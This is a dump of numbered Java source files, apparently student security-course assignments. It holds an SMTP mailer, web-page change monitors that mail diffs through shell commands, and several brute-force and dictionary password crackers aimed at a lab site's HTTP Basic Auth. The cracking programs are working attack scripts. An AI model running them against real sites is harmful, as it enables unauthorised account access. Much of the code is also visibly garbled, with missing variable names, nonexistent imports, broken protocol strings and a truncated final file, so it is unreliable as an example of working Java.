+	
+	public void setSubject ( String subject )
+	{
+		
+		messageSubject = subject;
+	}
+
+	
+	public void setMessage ( String msg )
+	{
+		
+		messageBody = msg;
+	}
+
+	
+	public void setMailServer ( String server )
+	{
+		
+		mailServer = server;
+	}
+
+	
+	private boolean responseValid( String response )
+	{
+		
+
+		
+		if (response.indexOf("" "") == -1)
+			
+			return false;
+
+		
+		String cad = response.substring( 0, response.indexOf("" ""));
+
+		
+		cad = cad.toUpperCase();
+
+		
+		if (( cad.charAt(0) == successPrefix ) ||
+		    ( cad.charAt(0) == morePrefix )  )
+			
+				return true;
+			else
+				
+				return false;
+		}
+
+	
+	public void sendMail()
+	{
+		try {
+		String response;
+
+		
+		Socket mailSock = new Socket (mailServer, SMTPPort);
+
+		
+		BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
+		PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));
+
+		
+		System.out.println(""1"");
+		response = bf.readLine();
+
+		
+		if ( !responseValid(response) )
+			throw new IOException(""ERR - "" + response);
+
+		
+		try
+		{
+			InetAddress addr = InetAddress.getLocalHost();
+
+			String localHostname = addr.getHostName();
+			
+			pout.print (""HELO "" + localHostname + CRLF);
+		}
+		catch (UnknownHostException uhe)
+		{
+			
+			pout.print (""HELO myhostname""  + CRLF);
+		}
+
+		
+		pout.flush();
+
+		
+		System.out.println(""2"");
+		response = bf.readLine();
+
+		
+		if ( !responseValid(response) )
+			throw new IOException(""ERR - "" + response);
+
+		
+		pout.println (""MAIL From:<"" + mailFrom + "">"");
+
+		
+		pout.flush();
+
+		
+		System.out.println(""3"");
+		response = bf.readLine();
+
+		
+		if ( !responseValid(response) )
+			throw new IOException(""ERR - "" + response);
+
+		
+		pout.println (""RCPT :<"" + mailTo + "">"");
+
+		
+		pout.flush();
+
+		
+		System.out.println(""4"");
+		response = bf.readLine();
+
+		
+		if ( !responseValid(response) )
+			throw new IOException(""ERR - "" + response);
+
+		
+		pout.println (""DATA"");
+
+		
+		pout.flush();
+
+		
+		System.out.println(""5"");
+		response = bf.readLine();
+
+		
+		if ( !responseValid(response) )
+			throw new IOException(""ERR - "" + response);
+
+		
+		
+		pout.println (""From: "" + mailFrom);
+		pout.println ("": "" + mailTo);
+		pout.println (""Subject: "" + messageSubject);
+
+		
+		pout.println ();
+
+		
+		pout.println (messageBody);
+
+		
+		pout.println ("".\n\r"");
+
+		
+		pout.flush();
+
+		
+		System.out.println(""6"");
+		response = bf.readLine();
+
+		
+		if ( !responseValid(response) )
+			throw new IOException(""ERR - "" + response);
+
+		
+		pout.println (""QUIT"");
+
+		
+		pout.flush();
+
+		
+		mailSock.close();
+		}
+		catch (IOException ioe)
+		{
+			System.out.println(ioe.getMessage());
+		}
+	}
+
+}"
+103.java,"
+
+import java.io.*;
+import java.net.*;
+import java.misc.BASE64Encoder;
+
+public class BruteForce
+{
+  public BruteForce()
+  {}
+
+  public boolean fetchURL(String urlString,String username,String password)
+  {
+     StringWriter  = new StringWriter();
+     PrintWriter  pw = new PrintWriter();
+     try{
+       URL url=new URL(urlString);  
+       String userPwd= username+"":""+password;
+
+       
+       
+       
+       
+
+       BASE64Encoder encoder = new BASE64Encoder();
+       String encodedStr = encoder.encode (userPwd.getBytes());
+       System.out.println(""Original String = "" + userPwd);
+	 System.out.println(""Encoded String = "" + encodedStr);
+
+       HttpURLConnection huc=(HttpURLConnection) url.openConnection();  
+       huc.setRequestProperty( ""Authorization"","" ""+encodedStr);   
+       InputStream content = (InputStream)huc.getInputStream();
+       BufferedReader in   = 
+       new BufferedReader (new InputStreamReader (content));
+       String line;
+       while ((line = in.readLine()) != null) {
+         pw.println (line);
+       System.out.println(""*************************************************"");
+       System.out.println(sw.toString());
+       }return true;
+     } catch (MalformedURLException e) {
+       pw.println (""Invalid URL"");
+       return false;
+     } catch (IOException e) {
+       pw.println (""Error  URL"");
+       return false;
+     }
+
+  }
+
+  public void getPassword()
+  {  
+     String alps=""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"";
+     String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/"";
+     String login="""";
+     String pwd="" "";
+
+      startTime=System.currentTimeMillis();
+     for(int oneChar=0;oneChar<alps.length();oneChar++)
+     {
+        pwd=alps.substring(oneChar,oneChar+1);
+        if(this.fetchURL(urlString,login,pwd))
+        {
+            finishTime=System.currentTimeMillis();
+           System.out.println(""Finally I gotta it,  password is : ""+pwd);
+           System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds"");
+           System.exit(1);
+        } 
+        for(int twoChar=0;twoChar<alps.length();twoChar++)
+        {
+           pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);
+           if(this.fetchURL(urlString,login,pwd))
+           {
+              finishTime=System.currentTimeMillis();
+             System.out.println(""Finally I gotta it,  password is : ""+pwd);
+             System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds"");
+             System.exit(1);
+           }
+           for(int threeChar=0;threeChar<alps.length();threeChar++)
+           {
+             pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);
+             if(this.fetchURL(urlString,login,pwd))
+             {
+                finishTime=System.currentTimeMillis();
+               System.out.println(""Finally I gotta it,  password is : ""+pwd);
+               System.out.println(""The time for cracking password is: ""+(finishTime-startTime)+ "" milliseconds"");
+               System.exit(1);
+             }
+           }
+        }
+     }
+   }
+
+  public static void main(String[] arguments)
+  {
+     BruteForce bf=new BruteForce();
+     bf.getPassword();
+  } 
+}"
+255.java,"
+
+import java.io.*;
+import java.net.*;
+import java.*;
+import java.util.*;
+
+public class WatchDog
+{
+ public static void main(String[] args)
+ {
+   new WatchDogThread(""1"");
+ }
+}"
+027.java,"
+import java.util.*;
+import java.net.*;
+import java.io.*;
+public class WatchDog
+{
+   private Vector init;
+   public WatchDog()
+   {
+      try
+      {
+      Runtime run = Runtime.getRuntime();
+      String command_line = ""lynx http://www.cs.rmit.edu./students/ -dump"";
+      Process result = run.exec(command_line);
+      BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
+      String inputLine;
+      init = new Vector();
+      while ((inputLine = in.readLine()) != null)
+      {
+         init.addElement(inputLine);
+      }
+     
+      }catch(Exception e)
+      {
+      }
+   }
+   public static void main(String args[])
+   {
+     WatchDog wd = new WatchDog();
+     wd.nextRead();
+   }
+
+   public void nextRead()
+   {
+     while(true)
+     {
+      ScheduleTask sch = new ScheduleTask(init);
+      if(sch.getFlag()!=0)
+      {
+        System.out.println(""change happen"");
+        WatchDog wd = new WatchDog();
+        wd.nextRead();
+      }
+     
+     }
+   }
+}"
+013.java,"import java.net.*; 
+import java.io.*; 
+import java.util.Vector;
+import java.util.Date;
+import java.security.*;
+
+
+
+
+
+
+
+
+
+
+
+  
+public class Dictionary { 
+  public static BufferedReader in;
+  
+  
+  public static void main(String[] args) throws Exception {   
+    String baseURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";    
+    int count=0;
+    Date date = new Date();
+     startTime=date.getTime();
+    int LIMITINMINUTES=45;
+    int TIMELIMIT=LIMITINMINUTES*1000*60;
+    boolean timedOut=false;
+    boolean found=false;
+   
+    
+    Vector dictionary=new Vector(readWords());
+    System.out.println(""Words in dictionary: ""+dictionary.size());
+ 
+    
+    
+    
+    
+    
+    
+    while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {
+      
+      Date endDate = new Date();
+       endTime=endDate.getTime();    
+      if (endTime>(TIMELIMIT+startTime)){
+        System.out.println(""Timed out"");
+        timedOut=true;
+      }
+      
+      String password = """";
+
+      
+      URL url = new URL(baseURL); 
+      String username="""";
+      password = dictionary.elementAt(count).toString(); 
+
+      
+      String authString = username+"":""+password;
+      String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); 
+      System.out.print(""authString is: ""+authString);     
+      
+      URLConnection urlConnect=url.openConnection();
+
+      
+      urlConnect.setRequestProperty(""Authorization"","" ""+encoding);
+
+      String responseCode = urlConnect.getHeaderField(0);
+      System.out.print("" Response  is: "");
+      System.out.println(responseCode);
+
+      if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) {
+        found=true;
+      }          
+      if (found){ 
+      
+        System.out.println(""Password is: ""+password);
+
+      }
+
+      Date foundDate = new Date();
+       foundTime=foundDate.getTime();  
+      foundTime=(foundTime-startTime);
+      System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); 
+      count=count+1;
+    }
+  } 
+  
+  
+  
+  
+  
+  public static Vector readWords() {   
+    String nextWord;
+    String lastWord="""";
+    Vector dict=new Vector();
+    try {
+      BufferedReader in = new BufferedReader(new FileReader(""words.txt""));
+      while ((nextWord = in.readLine())!=null) {
+	
+        if (nextWord.length()>3) {
+          nextWord=nextWord.substring(0,3);
+        }
+	
+	if (!lastWord.equals(nextWord) && nextWord.length()>0){
+          lastWord = nextWord;
+	  
+	 
+	  dict.addElement(nextWord);
+
+	  
+	  
+	 
+	 
+	 
+
+	  
+	 
+	 
+	    
+	  
+	   
+	   
+	   
+	   
+	   
+
+	    
+	   
+	   
+	  
+	  
+	  
+	  
+
+	    
+	   
+	   
+	      
+	   
+	   
+	   
+
+	      
+	   
+	    
+	    
+
+	      
+	    
+	    
+	    
+
+	      
+	    
+	    
+	    
+	   
+	
+	}  
+      }  
+       System.out.println(""File successfully loaded"");	     
+    }  
+    catch (FileNotFoundException e1) {
+      System.out.println(""This program requires a dictionary of words called words.txt   in the same directory as the program running, now exiting."");
+      System.exit(0);
+    }	
+    catch (IOException e2) {
+      System.out.println(""IO Exception, exiting"");
+      System.exit(0);
+    }	    
+    finally {
+      try {
+	if (null!=in) {
+          in.get();
+	}
+      }
+      catch (IOException e3) {}
+    }
+    return dict;
+  } 
+}  
+"
+070.java,"
+
+import java.misc.BASE64Encoder;
+import java.misc.BASE64Decoder;
+import java.io.*;
+import java.net.*;
+import java.util.*;
+
+
+
+public class Dictionary {
+  
+  public Dictionary(String url, String dictionaryFile) {
+    try{
+      this.url = url;
+      this.dictionaryPath = dictionaryFile;
+      InputStream fis = new FileInputStream(this.dictionaryPath);
+      dict = new BufferedReader(new InputStreamReader(fis));
+
+    }catch(IOException ioe){
+      System.out.println(""Error opening dictionary file:\n"" +ioe);
+    }
+  }
+
+
+  
+  private String url = null;
+  
+  private String dictionaryPath = null;
+  
+  private BufferedReader dict = null;
+  
+  private int attempts = 0;
+  
+  private int passwordSize = 3;
+  
+  public void setPasswordSize(int size){
+      this.passwordSize = size;
+  }
+  
+  public String getNextPassword()throws IOException{
+
+    String line = dict.readLine();
+
+      while(line!=null&&line.length()!=this.passwordSize )
+        line = dict.readLine();
+
+    return line;
+  }
+  
+  public String crackPassword(String user) throws IOException, MalformedURLException{
+    URL url = null;
+    URLConnection urlConnection = null;
+    String outcome = null;
+    String  authorization = null;
+    String password = null;
+    BASE64Encoder b64enc = new BASE64Encoder();
+    InputStream content = null;
+    BufferedReader in = null;
+
+
+    while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){
+
+      url = new URL(this.url);
+      urlConnection = url.openConnection();
+      urlConnection.setDoInput(true);
+      urlConnection.setDoOutput(true);
+
+
+      urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1"");
+      urlConnection.setRequestProperty(""Host"", url.getHost());
+      password = getNextPassword();
+      if(password == null)
+        return null;
+      System.out.print(password);
+      authorization = user + "":"" + password;
+
+
+      urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes()));
+
+
+outcome = urlConnection.getHeaderField(null); 
+
+
+
+      this.attempts ++;
+      urlConnection = null;
+      url = null;
+      
+      if(this.attempts%51 == 0)
+        for(int b = 0; b < 53;b++)
+          System.out.print(""\b \b"");
+      else
+        System.out.print(""\b\b\b."");
+
+
+    }
+    return password;
+  }
+  
+  public int getAttempts(){
+    return this.attempts;
+  }
+  public static void main (String[] args) {
+    if(args.length != 3){
+      System.out.println(""usage: java attacks.Dictionary <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>"");
+      System.exit(1);
+    }
+
+    Dictionary dictionary1 = new Dictionary(args[0], args[2]);
+    try{
+      Calendar cal1=null, cal2=null;
+      cal1 = Calendar.getInstance();
+      System.out.println(""Cracking started at: "" + cal1.getTime().toString());
+      String password = dictionary1.crackPassword(args[1]);
+      if(password != null)
+        System.out.println(""\nPassword is: ""+password);
+      else
+        System.out.println(""\nPassword could not  retrieved!"");
+      cal2 = Calendar.getInstance();
+      System.out.println(""Cracking finished at: "" + cal2.getTime().toString());
+      Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
+      System.out.println(""Total Time taken  crack: "" + (d3.getTime())/1000 + "" sec"");
+      System.out.println(""Total attempts : ""  + dictionary1.getAttempts());
+
+    }catch(MalformedURLException mue){
+      mue.printStackTrace();
+    }
+
+    catch(IOException ioe){
+      ioe.printStackTrace();
+    }
+  }
+}"
+245.java,"
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+import java.*;
+import java.io.*;
+import java.text.*;
+import java.net.*;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.*;
+
+public class WatchDog {
+
+   public static void main(String[] args) throws IOException {
+
+      
+      String host = ""http://www.cs.rmit.edu./students/"";
+
+      String outFilename = null; 
+      String diffFilename = null; 
+
+      
+      String email = ""@cs.rmit.edu.""; 
+      String subject = null; 
+      String message = ""msg""; 
+      String mutt = null; 
+
+      
+      List currentList = new ArrayList();
+      List previousList = new ArrayList();
+      List diffList = new ArrayList();
+      String line = null;
+      String previousLine = null;
+      String diffLine = null;
+
+      
+      int sleepTime = 1000 * 60 * 60 * 24; 
+
+
+      SimpleDateFormat format = new SimpleDateFormat(""yyyyMMddkmm"");
+      Date currentDate = null;
+
+      int c=0;
+
+       {
+         try {
+            
+            URL url = new URL(host);
+            HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection();
+            InputStream webIn = httpConnect.getInputStream();
+            BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) );
+
+            
+            
+            currentDate = null;
+            currentDate = new java.util.Date();
+            String dateString = format.format(currentDate);
+
+            
+            outFilename = ""watch_"" + dateString; 
+            File outputFile = new File(outFilename);
+            FileWriter out = new FileWriter(outputFile);
+
+            
+            diffFilename = ""diff_"" + dateString; 
+            File diffOutputFile = new File(diffFilename);
+            FileWriter diffOut = new FileWriter(diffOutputFile);
+
+            line = """"; 
+
+            
+            while (( line = webReader.readLine()) != null ) {
+                currentList.add(line + ""\n""); 
+            }
+
+            webReader.close(); 
+
+            Iterator iter = currentList.iterator();
+
+            
+            line = """";
+            previousLine = """";
+            diffLine = """";
+
+            
+            int l=0; 
+            int d=0; 
+
+            while (iter.hasNext()) {
+              line = String.valueOf(iter.next());
+              out.write(line); 
+
+               
+               if (!previousList.isEmpty()) {
+                  try {
+                     previousLine = String.valueOf(previousList.get(l));
+
+
+                     if (line.compareTo(previousLine)==0) {
+                     } else {
+                        
+                        diffLine = ""Line "" + (l+1) + "" has changed :  "" + line;
+                        diffOut.write(diffLine);
+                        d++; 
+                     }
+
+                  } catch (Exception e) {
+                     
+                     
+                     diffLine = ""Line "" + (l+1) + "" has been added:  "" + line + "" \n"";
+                     diffOut.write(diffLine);
+                     d++; 
+                  } 
+               } 
+
+              l++; 
+            }
+
+            
+            out.close();
+            diffOut.close();
+
+            
+            previousList.clear();
+            previousList.addAll(currentList);
+            currentList.clear();
+            diffList.clear();
+
+            if (d>0) {
+               
+               subject = ""WatchDog_"" + dateString; 
+               mutt = ""mutt -a "" + diffFilename + "" -s "" + subject + "" "" + email;
+
+               System.out.println(""The webpage has changed."");
+               Runtime rt = Runtime.getRuntime();
+               rt.exec(mutt);
+               
+               
+
+               System.out.println(""Email sent  "" + email + "" at "" + dateString);
+
+            } else if (c>0) {
+               
+               System.out.println(""Webpage checked at "" + dateString + "" and  changes were found"");
+            }
+
+         } catch(MalformedURLException e) {
+            System.out.println(""Opps, the URL "" + host + "" is not valid."");
+            System.out.println(""Please check the URL and try again."");
+            System.exit(0);
+
+         } catch(IOException e) {
+            System.out.println("", 't connect  "" + host + ""."");
+            System.out.println(""Please check the URL and try again."");
+            System.out.println(""Other possible causes include website is currently unavailable"");
+            System.out.println("" I have a problem   writing ."");
+            System.exit(0);
+
+         } 
+
+         
+         try {
+            Thread.sleep(sleepTime);
+         } catch (Exception e) {
+            
+         } 
+
+         c++;
+      }  while(true); 
+   }
+}"
+142.java,"import java.io.*;
+import java.util.*;
+import java.net.*;
+import java.misc.BASE64Encoder;
+
+public class Dictionary
+{
+
+  public Dictionary()
+  {
+  }
+
+  public static void main(String[] args)
+  {
+    try
+    {
+
+        if (args.length != 3 )
+        {
+            System.out.println(""Usage: java BruteForce <URL> <UserName> <DictFileName>"");
+            System.exit(1);
+        }
+
+         timeStart = System.currentTimeMillis();
+
+        String strPass = applyDictionary (args[0], args[1], args [2]);
+
+         timeEnd = System.currentTimeMillis();
+
+        System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass);
+        System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000));
+
+    }
+    catch(Exception e)
+    {
+      e.printStackTrace();
+    }
+  }
+
+  static String applyDictionary (String URL, String UserName, String strUrlDictionary)
+  {
+      String strPass = """";
+
+      try
+      {
+              FileInputStream fIn = new FileInputStream ( strUrlDictionary );
+              DataInputStream dtIn = new DataInputStream ( fIn );
+
+             
+             
+
+              System.out.print(""\n\n\n Applying Dictionary Attack:      "");
+
+              while (dtIn.available() > 0)
+              {
+                  strPass = dtIn.readLine();
+
+                  if (strPass.length() != 3)
+                    continue;
+
+                 
+               
+
+                  System.out.print(""\b\b\b"" + strPass );
+
+                  boolean boolResult = applyPass ( URL, UserName, strPass );
+
+                  if (boolResult)
+                  {
+                      dtIn.close();
+                      fIn.close();
+                      return strPass;
+                  }
+              }
+
+              dtIn.close();
+              fIn.close();
+      }
+      catch (Exception e)
+      {
+          e.printStackTrace();
+      }
+
+      return ""Could not find match"";
+  }
+
+  private static boolean applyPass (String strURL, String strUserName, String strPass )
+  {
+        BASE64Encoder myEncoder = new BASE64Encoder ();
+
+        try
+        {
+            String str = strUserName + "":"" + strPass;
+
+            String strEncode = myEncoder.encode(str.getBytes());
+
+            URL url = new URL (strURL);
+
+            URLConnection urlConn = url.openConnection();
+
+            urlConn.setRequestProperty (""Authorization"", "" "" + strEncode);
+
+            urlConn.connect();
+
+            String strReply = urlConn.getHeaderField(0);
+
+            if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") )
+            {
+                return true;
+            }
+        }
+        catch (Exception e)
+        {
+            e.printStackTrace ();
+        }
+
+        return false;
+  }
+}
+"
+003.java,"import java.io.*;
+import java.util.*;
+import java.net.*;
+import java.net.Authenticator;
+
+
+public class  BruteForce
+{
+
+	private String result ="""";
+
+	public class customAuthenticator extends Authenticator {
+	       public customAuthenticator(String passwd)
+           {
+            this.pass = passwd;
+           }
+
+	       protected PasswordAuthentication getPasswordAuthentication()
+           {
+	                 return new PasswordAuthentication("""",pass.toCharArray());
+           }
+           public String pass;
+    }
+
+    public BruteForce() {
+            java.util.Date d = java.util.Calendar.getInstance().getTime();
+            System.out.println(d.toString());
+		char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',
+							  'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G',
+							   'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
+
+		String record = null;
+
+
+
+        String url = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+
+		char pass[] = {'x','x','x'};
+		int count=1;
+		String passwd=new String();
+        HttpURLConnection connection = null;
+        URL u = null;
+
+        try
+        {
+         u = new URL(url);
+
+        }
+        catch (MalformedURLException e)
+        {
+        }
+
+        for(int a=0;a<words.length;a++)
+        {
+                for(int b=0;b<words.length;b++)
+                {
+                        for(int c=0;c<words.length;c++)
+                        {
+                                 pass[0]=words[a];
+                                 pass[1]=words[b];
+                                 pass[2]=words[c];
+                                 passwd=passwd.copyValueOf(pass,0,3);
+                                 System.out.println(count+ "" ) "" + passwd);
+                                 count++;
+                                 try
+                                 {
+
+                                       connection = (HttpURLConnection) u.openConnection();
+                                       Authenticator.setDefault(new customAuthenticator(passwd));
+
+                                       if (connection.getResponseCode()!=401)
+                                       {
+                                            System.out.print(""The password is : ""+passwd);
+                                            System.out.println();
+                                            java.util.Date d1 = java.util.Calendar.getInstance().getTime();
+                                            System.out.println(d1.toString());
+                                            System.out.println(""\ntime taken in seconds:""+ (d1.getTime() - d.getTime())/1000+""\n"");
+
+                                            System.exit(0);
+                                       }
+                                       else
+                                       {
+                                       }
+                                       connection.disconnect();
+                                 }
+                                 catch (IOException e)
+                                 {
+                                       System.out.println(e);
+                                 }
+                        }
+                }
+        }
+    }
+
+	public static void main(String[] args)
+	{
+
+
+		BruteForce  = new BruteForce();
+	}
+}"
+081.java,"
+
+public class Base64 {
+
+	final static String baseTable = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"";
+
+	
+	public static String encode(byte[] bytes) {
+
+		String tmp = """";
+		int i = 0;
+		byte pos; 
+
+		for(i=0; i < (bytes.length - bytes.length%3); i+=3) {
+
+			pos = (byte) ((bytes[i] >> 2) & 63); 
+			tmp = tmp + baseTable.charAt(pos); 
+
+			pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); 
+			tmp = tmp + baseTable.charAt( pos );
+					
+			pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2]  >> 6) & 3));
+			tmp = tmp + baseTable.charAt(pos);
+		
+			pos = (byte) (((bytes[i+2]) & 63));
+			tmp = tmp + baseTable.charAt(pos);
+		
+			
+			
+			if(((i+2)%56) == 0) {
+				tmp = tmp + ""\r\n"";
+			}
+		}
+
+		if(bytes.length % 3 != 0) {
+
+			if(bytes.length % 3 == 2) {
+
+				pos = (byte) ((bytes[i] >> 2) & 63); 
+				tmp = tmp + baseTable.charAt(pos); 
+
+				pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); 
+				tmp = tmp + baseTable.charAt( pos );
+						
+				pos = (byte) ((bytes[i+1] & 15) << 2);
+				tmp = tmp + baseTable.charAt(pos);
+			
+				tmp = tmp + ""="";
+
+			} else if(bytes.length % 3 == 1) {
+				
+				pos = (byte) ((bytes[i] >> 2) & 63); 
+				tmp = tmp + baseTable.charAt(pos); 
+
+				pos = (byte) ((bytes[i] & 3) << 4); 
+				tmp = tmp + baseTable.charAt( pos );
+						
+				tmp = tmp + ""=="";
+			}
+		}
+		return tmp;
+
+	}
+
+	
+	public static String encode(String src) {
+		
+		return encode(src.getBytes());	
+	}
+
+	public static byte[] decode(String src) throws Exception {
+
+		byte[] bytes = null;
+
+		StringBuffer buf = new StringBuffer(src);
+
+		
+		int i = 0;
+		char c = ' ';
+		char oc = ' ';
+		while( i < buf.length()) {			
+			oc = c; 
+			c = buf.charAt(i);
+			if( oc == '\r' && c == '\n') {
+				buf.deleteCharAt(i);
+				buf.deleteCharAt(i-1);
+				i -= 2;
+			} else if( c == '\t') {
+				buf.deleteCharAt(i);
+				i --;
+			} else if( c == ' ') {
+				i --;
+			}
+			i++;
+		}
+
+		
+		if(buf.length() % 4 != 0) {
+			throw new Exception(""Base64 decoding invalid length"");
+		}
+
+		
+		bytes = new byte[3 * (buf.length() / 4)];
+		
+		
+		int index = 0;
+		
+		
+		for(i = 0; i < buf.length(); i+=4) {
+
+			byte data = 0;
+			int nGroup = 0;
+
+			for(int j = 0; j < 4; j++) {
+
+				char theChar = buf.charAt(i + j); 
+
+				if(theChar == '=') {
+					data = 0;
+				} else {
+					data = getBaseTableIndex(theChar); 
+				}
+
+				if(data == -1) {
+					throw new Exception(""Base64 decoding bad character"");
+				}
+
+				nGroup = 64*nGroup + data;
+			}
+
+			bytes[index] = (byte) (255 & (nGroup >> 16));
+			index ++;
+
+			bytes[index] = (byte) (255 & (nGroup >> 8));
+			index ++;
+
+			bytes[index] = (byte) (255 & (nGroup));
+			index ++;
+		}
+		
+		byte[] newBytes = new byte[index];
+		for(i = 0; i < index; i++) {
+			newBytes[i] = bytes[i];
+		}
+
+		return newBytes;
+	}
+
+	
+	protected static byte getBaseTableIndex(char c) {
+		
+		byte index = -1;
+
+		for(byte i = 0; i < baseTable.length(); i ++) {
+		
+			if(baseTable.charAt(i) == c) {
+				index = i;
+				break;
+			}
+		}
+
+		return index;
+	}
+}"
+031.java,"
+
+import java.io.*;
+import java.util.*;
+
+
+public class WatchDog
+{
+    private static String userid;
+
+
+
+
+
+    public static void main(String args[])
+    {
+
+        
+        if (args.length != 1)
+        {
+              System.out.println(""Please provide the Username  mail the possible differences."");
+              System.exit(0);
+        }
+        else
+              userid = args[0];
+
+
+        while(true)
+        {
+             try
+             {
+                WatchDog wd = new WatchDog(userid);
+                Thread.sleep(1000);
+             }
+             catch (InterruptedException i )
+             {
+                   i.printStackTrace();
+                    System.exit(-1);
+             }
+             catch (Exception e)
+             {
+                    e.printStackTrace();
+                    System.exit(-1);
+             }
+        }
+    }
+
+
+
+
+    public WatchDog(String userid)
+    {
+      checkFileChanges(userid);
+    }
+
+
+
+
+
+
+    private void checkFileChanges(String userid)
+    {
+
+             try
+             {
+                    Process p = Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/"");
+                    Thread.sleep(1000);
+                    p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 > diff.txt""});
+                    Thread.sleep(10000);
+
+
+                    if (isFileChanged() == true)
+                    {
+                      System.out.println(""Result: Difference found in . Check your Pine  for details"");
+                      mailFileChanges(userid);
+                      recordFileChanges();
+                    }
+                    else
+                    {
+                        System.out.println(""Result:  Difference found in "");
+                        recordFileChanges();
+
+                    }
+
+             }
+             catch (IOException e)
+             {
+                  e.printStackTrace();
+                  System.exit(-1);
+             }
+             catch (InterruptedException ioe)
+             {
+                  ioe.printStackTrace();
+                  System.exit(-1);
+             }
+             catch (Exception exp)
+             {
+                  exp.printStackTrace();
+                  System.exit(-1);
+             }
+    }
+
+
+
+
+
+    private void recordFileChanges()
+    {
+         try
+         {
+
+           Process p = Runtime.getRuntime().exec(""mv index.html.1 index.html"");
+           Thread.sleep(1000);
+        }
+        catch (IOException e)
+        {
+                  e.printStackTrace();
+                  System.exit(-1);
+        }
+        catch (InterruptedException oie)
+        {
+                ioe.printStackTrace();
+                System.exit(-1);
+        }
+        catch (Exception exp)
+        {
+                exp.printStackTrace();
+                System.exit(-1);
+        }
+    }
+
+
+
+
+
+    private void mailFileChanges(String userid)
+    {
+         try
+         {
+           Process p = Runtime.getRuntime().exec(new String[] {""//sh"", ""-c"", ""diff index.html index.html.1 | mail "" + userid + ""@cs.rmit.edu.""});
+           Thread.sleep(1000);
+         }
+         catch (IOException e)
+         {
+                  e.printStackTrace();
+                  System.exit(-1);
+         }
+         catch (InterruptedException ioe)
+         {
+                ioe.printStackTrace();
+                System.exit(-1);
+         }
+         catch (Exception exp)
+         {
+                exp.printStackTrace();
+                System.exit(-1);
+         }
+    }
+
+
+
+
+
+    private boolean isFileChanged()
+    {
+         try
+         {
+           FileInputStream fIn = new FileInputStream (""diff.txt"");
+           DataInputStream di = new DataInputStream (fIn);
+
+            Thread.sleep(1000);
+
+           if( di!= null)
+           {
+              String str = di.readLine();
+
+              if(str!=null)
+                  return true;
+              else
+                  return false;
+           }
+
+         }
+         catch (FileNotFoundException fe)
+         {
+                fe.printStackTrace();
+                System.exit(-1);
+         }
+         catch (IOException e)
+         {
+                  e.printStackTrace();
+                  System.exit(-1);
+         }
+         catch (InterruptedException ioe)
+         {
+                ioe.printStackTrace();
+                System.exit(-1);
+         }
+         catch (Exception exp)
+         {
+                exp.printStackTrace();
+                System.exit(-1);
+         }
+      return false;
+    }
+}
+
+
+
+
+
+
+
+"
+201.java,"
+import java.net.*;
+import java.io.*;
+import java.Ostermiller.util.*;
+import java.util.*;
+
+public class MyClient1 implements Runnable
+{
+   private String hostname;
+   private int port;
+   private String filename;
+   private Socket s;
+   private int n;
+   private InputStream sin;
+   private OutputStream sout;
+   private int dif;
+   private String myPassword;
+   private int status;
+   private int myTime;
+   private Dictionary myMaster;
+   
+
+   public MyClient1(Dictionary dic, int num, int myPort, String password)
+   {
+      
+      hostname = new String(""sec-crack.cs.rmit.edu."");
+      port = myPort;
+      status = 0;
+      myTime = 0;
+      myPassword = password;
+      filename = new String(""/SEC/2/"");
+      myMaster = 0;
+      n = num;
+      dif = 0;
+      
+   }
+   public  getDif()
+   {
+      return dif;
+   }
+   public int getStatus()
+   {
+      return status;
+   }
+   public void run() 
+   {
+      String inputLine;
+      String[] tokens = new String[5];
+      int i;
+       myTime = 0;
+       finish = 0;
+      start = System.currentTimeMillis();
+      try
+      {
+         s = new Socket( hostname, port);
+      }catch( UnknownHostException e)
+      {
+         System.out.println(""'t find host"");
+      }catch( IOException e)
+       {
+          System.out.println(""Error connecting  host ""+n);
+	  return;
+       }
+      while(s.isConnected() == false)
+         continue;
+      
+      finish = System.currentTimeMillis();
+      dif = finish - start;
+      
+      try
+      {
+        sin  = s.getInputStream();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
+      try
+      {
+         sout = s.getOutputStream();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      
